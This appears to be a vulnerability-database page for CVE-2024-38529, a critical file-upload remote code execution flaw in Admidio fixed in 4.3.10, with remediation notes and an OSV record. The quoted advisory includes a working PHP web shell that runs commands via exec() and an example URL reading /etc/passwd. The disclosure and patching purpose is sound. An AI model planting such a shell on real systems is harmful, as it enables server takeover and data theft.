CVE-2024-38529: Admidio/admidio Remote Code Execution Vulnerability
CRITICALCVE-2024-38529 is a CRITICAL (CVSS 9.0) remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio vulnerable to rce via arbitrary file upload in message attachment. Remediation is available by upgrading affected packages to version 4.3.10.
CVE-2024-38529 at a Glance
Security Impact
CVSS: 9.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-38529
To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade admidio/admidio to 4.3.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for admidio/admidio
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-38529, inspect your project dependencies for Admidio/admidio:
inspect dependencies for admidio/admidio
Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-38529 Affected Admidio/admidio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
admidio/admidio
|
Packagist |
< 4.3.10
|
4.3.10
|
References
Frequently Asked Questions
What is CVE-2024-38529?
Which Admidio/admidio versions are affected?
What version fixes CVE-2024-38529?
Is admidio/admidio affected?
What is the CVSS score of CVE-2024-38529?
What CWE is associated with CVE-2024-38529?
How can I check Packagist dependencies for CVE-2024-38529?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g872-jwwr-vggm",
"modified" : "2024-07-29T16:32:32Z",
"published" : "2024-07-29T16:32:32Z",
"aliases" : [ "CVE-2024-38529" ],
"summary" : "Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment",
"details" : "### Description:\nRemote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL `{admidio_base_url}/adm_my_files/messages_attachments/{file_name}`.\n\nThe vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.\n\nAn attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.\n\nNote: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.\n\n### Impact:\nAn attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:\n\n- Execute arbitrary code or commands.\n- Access, modify, or delete sensitive data.\n- Install malicious software or scripts.\n- Gain further access to internal networks.\n- Disrupt services and applications hosted on the server.\n\n### Recommendation:\n\n- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.\n- Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.\n\n### Steps to Reproduce:\n1. As a member user, go to write an email message.\n2. Upload a PHP file in the Attachment, containing the following content:\n```\n<?php\n$command = isset($_GET['command']) ? $_GET['command'] : '';\n$output = [];\n$return_var = 0;\nexec($command, $output, $return_var);\necho '<h1>Exploiting RCE</h1>';\necho 'Command: '.$command;\necho '\\n<pre>';\necho implode(\"\\n\", $output);\necho '</pre>';\n?>\n```\n3. Send the email.\n4. In the message history go to the sent message.\n5. Download the file, to get the uploaded file name.\n6. Go to the following URL: \n`{admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd`\n7. The server's passwd file would be returned in the response.\n\n### Proof Of Concept:\n\n\n\n_Figure 1: Code of messages_send.php, not having file extension verification._\n\n\n\n_Figure 2: Uploading Webshell as attachment._\n\n\n\n_Figure 3: Download the uploaded file to get the uploaded file name._\n\n\n\n_Figure 4: Uploaded File name._\n\n\n\n_Figure 5: RCE via web shell._\n\n\n\n_Figure 6: RCE via Webshell._",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "admidio/admidio"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.3.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-g872-jwwr-vggm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-38529"
}, {
"type" : "WEB",
"url" : "https://github.com/Admidio/admidio/commit/3b1cc1cda05747edebe15f2825b79bc5a673d94c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Admidio/admidio"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-434" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-07-29T16:32:32Z",
"nvd_published_at" : "2024-07-29T15:15:10Z"
}
}